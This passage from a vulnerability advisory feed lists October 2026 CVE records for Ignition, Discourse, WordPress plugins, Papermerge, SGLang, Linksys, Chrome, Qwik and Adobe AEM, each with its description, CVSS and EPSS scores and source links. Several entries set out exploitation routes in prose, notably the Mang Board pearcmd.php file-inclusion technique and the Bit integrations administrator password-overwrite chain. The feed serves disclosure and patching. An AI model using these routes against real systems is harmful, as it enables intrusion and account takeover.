The Ignition Perspective module does not properly validate session privileges when determining Designer-level access. An authenticated user with access to a Vision project could provide their valid Vision session identifier and gain Designer-level privileges. An attacker could exploit these elevated privileges to execute arbitrary code in the context of the Ignition Gateway process.
CVSS 8.7 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92817).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92817&date=2026-10-25).
Sources:
NVD CVE-2026-92817: https://nvd.nist.gov/vuln/detail/CVE-2026-92817
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92817&date=2026-10-25
The Ignition Perspective module does not properly validate session privileges when determining Designer-level access. An authenticated user with access to a Vision project could provide their valid Vision session identifier and gain Designer-level privileges. An attacker could exploit these elevated privileges to execute arbitrary code in the context of the Ignition Gateway process.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Discourse is an open-source discussion platform.
https://kevwire.com/record/CVE-2026-91156
Discourse is an open-source discussion platform. (Oct 14, 2026).
Discourse is an open-source discussion platform. Prior to 2026.9.0, 2026.8.1, 2026.7.3, and 2026.1.9, MessageBus audience calculation could deliver messages from a read-restricted category chat channel to an authenticated user who could view the category but was not allowed to use Chat under the site's group restrictions. The publication path bounded events by category visibility without also enforcing Chat eligibility, exposing live and recent message content available in the MessageBus backlog. The issue does not permit retrieval of the channel's full history through the Chat API and does not permit message creation or modification. This issue is fixed in versions 2026.9.0, 2026.8.1, 2026.7.3, and 2026.1.9.
CVSS 7.5 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91156).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91156&date=2026-10-25).
Sources:
NVD CVE-2026-91156: https://nvd.nist.gov/vuln/detail/CVE-2026-91156
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91156&date=2026-10-25
Discourse is an open-source discussion platform. Prior to 2026.9.0, 2026.8.1, 2026.7.3, and 2026.1.9, MessageBus audience calculation could deliver messages from a read-restricted category chat channel to an authenticated user who could view the category but was not allowed to use Chat under the site's group restrictions. The publication path bounded events by category visibility without also enforcing Chat eligibility, exposing live and recent message content available in the MessageBus backlog. The issue does not permit retrieval of the channel's full history through the Chat API and does not permit message creation or modification. This issue is fixed in versions 2026.9.0, 2026.8.1, 2026.7.3, and 2026.1.9.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Directorist: AI-Powered Business Directory, Listings & Classified Ads plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 8.10.2.1.
https://kevwire.com/record/CVE-2026-17092
The Directorist: AI-Powered Business Directory, Listings & Classified Ads plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 8.10.2.1. (Oct 14, 2026).
The Directorist: AI-Powered Business Directory, Listings & Classified Ads plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 8.10.2.1. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary business directory listings, including those owned by other users and posts in publish, draft, or private status. The nonces guarding the endpoint do not constitute an authorization barrier because both directorist_nonce and atbdp_nonce_js are exposed to all logged-in users via wp_localize_script.
CVSS 8.1 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-17092).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-17092&date=2026-10-25).
Sources:
NVD CVE-2026-17092: https://nvd.nist.gov/vuln/detail/CVE-2026-17092
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-17092&date=2026-10-25
The Directorist: AI-Powered Business Directory, Listings & Classified Ads plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 8.10.2.1. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary business directory listings, including those owned by other users and posts in publish, draft, or private status. The nonces guarding the endpoint do not constitute an authorization barrier because both directorist_nonce and atbdp_nonce_js are exposed to all logged-in users via wp_localize_script.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Papermerge Core through 3.5.3 contains a missing authorization vulnerability that allows authenticated users to manipulate other users' pages because page management and OCR...
https://kevwire.com/record/CVE-2026-110622
Papermerge Core through 3.5.3 contains a missing authorization vulnerability that allows authenticated users to manipulate other users' pages because page management and OCR... (Oct 14, 2026).
Papermerge Core through 3.5.3 contains a missing authorization vulnerability that allows authenticated users to manipulate other users' pages because page management and OCR endpoints skip has_node_perm checks. Attackers knowing page UUIDs can call /pages/, /pages/move, or /pages/extract to rotate, delete, or extract victims' pages, and trigger OCR via /tasks/ocr.
CVSS 7.7 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110622).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110622&date=2026-10-25).
Sources:
NVD CVE-2026-110622: https://nvd.nist.gov/vuln/detail/CVE-2026-110622
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110622&date=2026-10-25
Papermerge Core through 3.5.3 contains a missing authorization vulnerability that allows authenticated users to manipulate other users' pages because page management and OCR endpoints skip has_node_perm checks. Attackers knowing page UUIDs can call /pages/, /pages/move, or /pages/extract to rotate, delete, or extract victims' pages, and trigger OCR via /tasks/ocr.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SGLang through 0.5.21 contains a resource budget bypass vulnerability that allows remote attackers to override GLM-V video processing limits by supplying fps, max_frames,...
https://kevwire.com/record/CVE-2026-109228
SGLang through 0.5.21 contains a resource budget bypass vulnerability that allows remote attackers to override GLM-V video processing limits by supplying fps, max_frames,... (Oct 12, 2026).
SGLang through 0.5.21 contains a resource budget bypass vulnerability that allows remote attackers to override GLM-V video processing limits by supplying fps, max_frames, max_tokens_per_frame and max_image_tokens in the video_url object. Attackers can set these values arbitrarily high so glm4v.py decodes every frame of high-resolution video at full size, exhausting worker memory and denying service.
CVSS 8.7 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109228).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109228&date=2026-10-25).
Sources:
NVD CVE-2026-109228: https://nvd.nist.gov/vuln/detail/CVE-2026-109228
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109228&date=2026-10-25
SGLang through 0.5.21 contains a resource budget bypass vulnerability that allows remote attackers to override GLM-V video processing limits by supplying fps, max_frames, max_tokens_per_frame and max_image_tokens in the video_url object. Attackers can set these values arbitrarily high so glm4v.py decodes every frame of high-resolution video at full size, exhausting worker memory and denying service.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### LogicalDOC Community Edition through 9.3 contains an unauthenticated file upload vulnerability in the UploadServlet that allows remote attackers to write files to disk without a...
https://kevwire.com/record/CVE-2026-109205
LogicalDOC Community Edition through 9.3 contains an unauthenticated file upload vulnerability in the UploadServlet that allows remote attackers to write files to disk without a... (Oct 12, 2026).
LogicalDOC Community Edition through 9.3 contains an unauthenticated file upload vulnerability in the UploadServlet that allows remote attackers to write files to disk without a session. Attackers can repeatedly send multipart requests with unlimited file parts to /upload, persisting files in uncleaned temporary directories and exhausting server disk space.
CVSS 8.7 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109205).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109205&date=2026-10-25).
Sources:
NVD CVE-2026-109205: https://nvd.nist.gov/vuln/detail/CVE-2026-109205
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109205&date=2026-10-25
LogicalDOC Community Edition through 9.3 contains an unauthenticated file upload vulnerability in the UploadServlet that allows remote attackers to write files to disk without a session. Attackers can repeatedly send multipart requests with unlimited file parts to /upload, persisting files in uncleaned temporary directories and exhausting server disk space.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security flaw has been discovered in Linksys E1700 1.0.0.4.003. Impacted is the function addStaticRoute of the file /goform/addStaticRoute of the component Static Route Handler.
https://kevwire.com/record/CVE-2026-108894
A security flaw has been discovered in Linksys E1700 1.0.0.4.003. Impacted is the function addStaticRoute of the file /goform/addStaticRoute of the component Static Route Handler. (Oct 12, 2026).
A security flaw has been discovered in Linksys E1700 1.0.0.4.003. Impacted is the function addStaticRoute of the file /goform/addStaticRoute of the component Static Route Handler. Performing a manipulation of the argument staticRoute_IP_setting/staticRoute_Netmask_setting/staticRoute_Gateway_setting/staticRoute_Metric_setting results in os command injection. Remote exploitation of the attack is possible. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 8.6 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108894).
EPSS 2.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108894&date=2026-10-25).
Sources:
NVD CVE-2026-108894: https://nvd.nist.gov/vuln/detail/CVE-2026-108894
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108894&date=2026-10-25
A security flaw has been discovered in Linksys E1700 1.0.0.4.003. Impacted is the function addStaticRoute of the file /goform/addStaticRoute of the component Static Route Handler. Performing a manipulation of the argument staticRoute_IP_setting/staticRoute_Netmask_setting/staticRoute_Gateway_setting/staticRoute_Metric_setting results in os command injection. Remote exploitation of the attack is possible. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing Authorization vulnerability in VideoWhisper.com Paid Videochat Turnkey Site ppv-live-webcams allows Exploiting Incorrectly Configured Access Control Security Levels.This...
https://kevwire.com/record/CVE-2026-107426
Missing Authorization vulnerability in VideoWhisper.com Paid Videochat Turnkey Site ppv-live-webcams allows Exploiting Incorrectly Configured Access Control Security Levels.This... (Oct 14, 2026).
Missing Authorization vulnerability in VideoWhisper.com Paid Videochat Turnkey Site ppv-live-webcams allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Paid Videochat Turnkey Site: from n/a through 7.5.12.
CVSS 7.3 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107426).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107426&date=2026-10-25).
Sources:
NVD CVE-2026-107426: https://nvd.nist.gov/vuln/detail/CVE-2026-107426
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107426&date=2026-10-25
Missing Authorization vulnerability in VideoWhisper.com Paid Videochat Turnkey Site ppv-live-webcams allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Paid Videochat Turnkey Site: from n/a through 7.5.12.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of Untrusted Data vulnerability in Brainstorm Force SureCart surecart allows Object Injection.This issue affects SureCart: from n/a through 4.9.3.
https://kevwire.com/record/CVE-2026-106599
Deserialization of Untrusted Data vulnerability in Brainstorm Force SureCart surecart allows Object Injection.This issue affects SureCart: from n/a through 4.9.3. (Oct 14, 2026).
Deserialization of Untrusted Data vulnerability in Brainstorm Force SureCart surecart allows Object Injection.This issue affects SureCart: from n/a through 4.9.3.
CVSS 8.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106599).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106599&date=2026-10-25).
Sources:
NVD CVE-2026-106599: https://nvd.nist.gov/vuln/detail/CVE-2026-106599
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106599&date=2026-10-25
Deserialization of Untrusted Data vulnerability in Brainstorm Force SureCart surecart allows Object Injection.This issue affects SureCart: from n/a through 4.9.3.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Mang Board plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.4.3 via the '<mode>_type (e.g.
https://kevwire.com/record/CVE-2026-104909
The Mang Board plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.4.3 via the '<mode>_type (e.g. (Oct 14, 2026).
The Mang Board plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.4.3 via the '<mode>_type (e.g. foo_type)' parameter parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included. Exploitation is trivial via an unauthenticated POST to any page rendering a public [mb_board] shortcode, as no nonce or capability check is enforced on the shortcode render path; on servers with a standard PHP installation, pearcmd.php can be leveraged to write and then include an attacker-controlled payload file in a single request.
CVSS 8.1 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104909).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104909&date=2026-10-25).
Sources:
NVD CVE-2026-104909: https://nvd.nist.gov/vuln/detail/CVE-2026-104909
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104909&date=2026-10-25
The Mang Board plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.4.3 via the '<mode>_type (e.g. foo_type)' parameter parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included. Exploitation is trivial via an unauthenticated POST to any page rendering a public [mb_board] shortcode, as no nonce or capability check is enforced on the shortcode render path; on servers with a standard PHP installation, pearcmd.php can be leveraged to write and then include an attacker-controlled payload file in a single request.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Bit integrations – Form Integration, Webhook, Spreadsheets, CRM, LMS & Email Automation plugin for WordPress is vulnerable to Privilege Escalation via Log Re-execution in all...
https://kevwire.com/record/CVE-2026-104749
The Bit integrations – Form Integration, Webhook, Spreadsheets, CRM, LMS & Email Automation plugin for WordPress is vulnerable to Privilege Escalation via Log Re-execution in all... (Oct 14, 2026).
The Bit integrations – Form Integration, Webhook, Spreadsheets, CRM, LMS & Email Automation plugin for WordPress is vulnerable to Privilege Escalation via Log Re-execution in all versions up to, and including, 2.10.6 The vulnerability exists because `IntegrationHandler::executeWithCapture()` stores raw, attacker-controlled field values — including `user_pass` and `user_email` — verbatim into `wp_btcbi_log.field_data` on anonymous front-end requests with no capability check, and `LogHandler::reexecute()` feeds that stored payload back through `Flow::execute()` inside the replaying administrator's session without validating the identity that originally produced the data, causing `RegistrationController::updateUser()` to resolve the target user ID to the administrator and write the attacker-supplied password via `wp_update_user()`. This makes it possible for unauthenticated attackers to overwrite the administrator's password and fully take over the administrator account. Exploitation requires that an administrator has configured a flow mapping a user-supplied form field to the `user_pass` parameter of the WP User Registration "Update User" action, and that the administrator subsequently clicks "Re-execute" on the failure log row produced by the anonymous submission from the plugin's log screen.
CVSS 7.5 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104749).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104749&date=2026-10-25).
Sources:
NVD CVE-2026-104749: https://nvd.nist.gov/vuln/detail/CVE-2026-104749
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104749&date=2026-10-25
The Bit integrations – Form Integration, Webhook, Spreadsheets, CRM, LMS & Email Automation plugin for WordPress is vulnerable to Privilege Escalation via Log Re-execution in all versions up to, and including, 2.10.6 The vulnerability exists because `IntegrationHandler::executeWithCapture()` stores raw, attacker-controlled field values — including `user_pass` and `user_email` — verbatim into `wp_btcbi_log.field_data` on anonymous front-end requests with no capability check, and `LogHandler::reexecute()` feeds that stored payload back through `Flow::execute()` inside the replaying administrator's session without validating the identity that originally produced the data, causing `RegistrationController::updateUser()` to resolve the target user ID to the administrator and write the attacker-supplied password via `wp_update_user()`. This makes it possible for unauthenticated attackers to overwrite the administrator's password and fully take over the administrator account. Exploitation requires that an administrator has configured a flow mapping a user-supplied form field to the `user_pass` parameter of the WP User Registration "Update User" action, and that the administrator subsequently clicks "Re-execute" on the failure log row produced by the anonymous submission from the plugin's log screen.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Appointment Booking Plugin – LatePoint | Calendar & Scheduling for WordPress plugin for WordPress is vulnerable to Authentication Bypass in versions up to, and including,...
https://kevwire.com/record/CVE-2026-100163
The Appointment Booking Plugin – LatePoint | Calendar & Scheduling for WordPress plugin for WordPress is vulnerable to Authentication Bypass in versions up to, and including,... (Oct 14, 2026).
The Appointment Booking Plugin – LatePoint | Calendar & Scheduling for WordPress plugin for WordPress is vulnerable to Authentication Bypass in versions up to, and including, 5.7.2 via the OsCustomerHelper::create_wp_user_for_customer() helper reached from the public process_step_customer() booking step. When the 'Use WordPress users as customers' option is enabled, the helper falls back from email_exists() to username_exists( $customer->email ), which matches any WordPress user whose user_login equals the victim customer's email even when that user's user_email is completely different, and links that WordPress user's ID into the victim's LatePoint customer row (only privileged roles are excluded; Subscriber is allowed). This makes it possible for authenticated attackers, with Subscriber-level access and above, to take over another customer's LatePoint account — accessing their bookings, service, agent, and calendar data, and having the victim customer's email overwritten with the attacker's on next login — by holding a Subscriber account whose user_login equals the victim's email and submitting an unauthenticated public booking step registration request.
CVSS 7.4 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100163).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100163&date=2026-10-25).
Sources:
NVD CVE-2026-100163: https://nvd.nist.gov/vuln/detail/CVE-2026-100163
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100163&date=2026-10-25
The Appointment Booking Plugin – LatePoint | Calendar & Scheduling for WordPress plugin for WordPress is vulnerable to Authentication Bypass in versions up to, and including, 5.7.2 via the OsCustomerHelper::create_wp_user_for_customer() helper reached from the public process_step_customer() booking step. When the 'Use WordPress users as customers' option is enabled, the helper falls back from email_exists() to username_exists( $customer->email ), which matches any WordPress user whose user_login equals the victim customer's email even when that user's user_email is completely different, and links that WordPress user's ID into the victim's LatePoint customer row (only privileged roles are excluded; Subscriber is allowed). This makes it possible for authenticated attackers, with Subscriber-level access and above, to take over another customer's LatePoint account — accessing their bookings, service, agent, and calendar data, and having the victim customer's email overwritten with the attacker's on next login — by holding a Subscriber account whose user_login equals the victim's email and submitting an unauthenticated public booking step registration request.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-110139
Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 13, 2026).
Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110139).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110139&date=2026-10-25).
Sources:
NVD CVE-2026-110139: https://nvd.nist.gov/vuln/detail/CVE-2026-110139
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110139&date=2026-10-25
Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Passwords in Google Chrome prior to 155.0.8059.79 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the...
https://kevwire.com/record/CVE-2026-110158
Use after free in Passwords in Google Chrome prior to 155.0.8059.79 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the... (Oct 13, 2026).
Use after free in Passwords in Google Chrome prior to 155.0.8059.79 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.3 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110158).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110158&date=2026-10-25).
Sources:
NVD CVE-2026-110158: https://nvd.nist.gov/vuln/detail/CVE-2026-110158
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110158&date=2026-10-25
Use after free in Passwords in Google Chrome prior to 155.0.8059.79 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Qwik is a performance-focused JavaScript framework.
https://kevwire.com/record/CVE-2026-84994
Qwik is a performance-focused JavaScript framework. (Oct 13, 2026).
Qwik is a performance-focused JavaScript framework. Prior to @builder.io/qwik 1.20.0 and @qwik.dev/core 2.0.0-beta.37, default server-side qwik-json deserialization causes ResourceSerializer.$fill$ to pass resource._resolved to Promise.resolve without first rejecting attacker-controlled thenables. An unauthenticated request can provide a plain object whose then property is a QRL for an unregistered symbol, causing an orphaned asynchronous rejection that terminates Node.js under its default unhandled-rejection policy. A single request can crash a server, and repeated requests can keep replicas unavailable. This issue is fixed in @builder.io/qwik 1.20.0 and @qwik.dev/core 2.0.0-beta.37.
CVSS 8.7 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-84994).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-84994&date=2026-10-25).
Sources:
NVD CVE-2026-84994: https://nvd.nist.gov/vuln/detail/CVE-2026-84994
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-84994&date=2026-10-25
Qwik is a performance-focused JavaScript framework. Prior to @builder.io/qwik 1.20.0 and @qwik.dev/core 2.0.0-beta.37, default server-side qwik-json deserialization causes ResourceSerializer.$fill$ to pass resource._resolved to Promise.resolve without first rejecting attacker-controlled thenables. An unauthenticated request can provide a plain object whose then property is a QRL for an unregistered symbol, causing an orphaned asynchronous rejection that terminates Node.js under its default unhandled-rejection policy. A single request can crash a server, and repeated requests can keep replicas unavailable. This issue is fixed in @builder.io/qwik 1.20.0 and @qwik.dev/core 2.0.0-beta.37.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Experience Manager is affected by a reflected Cross-Site Scripting (XSS) vulnerability.
https://kevwire.com/record/CVE-2026-83662
Adobe Experience Manager is affected by a reflected Cross-Site Scripting (XSS) vulnerability. (Oct 13, 2026).
Adobe Experience Manager is affected by a reflected Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this vulnerability to inject malicious scripts into a web page, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed.
CVSS 9.3 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83662).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83662&date=2026-10-25).
Sources:
NVD CVE-2026-83662: https://nvd.nist.gov/vuln/detail/CVE-2026-83662
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83662&date=2026-10-25
Adobe Experience Manager is affected by a reflected Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this vulnerability to inject malicious scripts into a web page, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

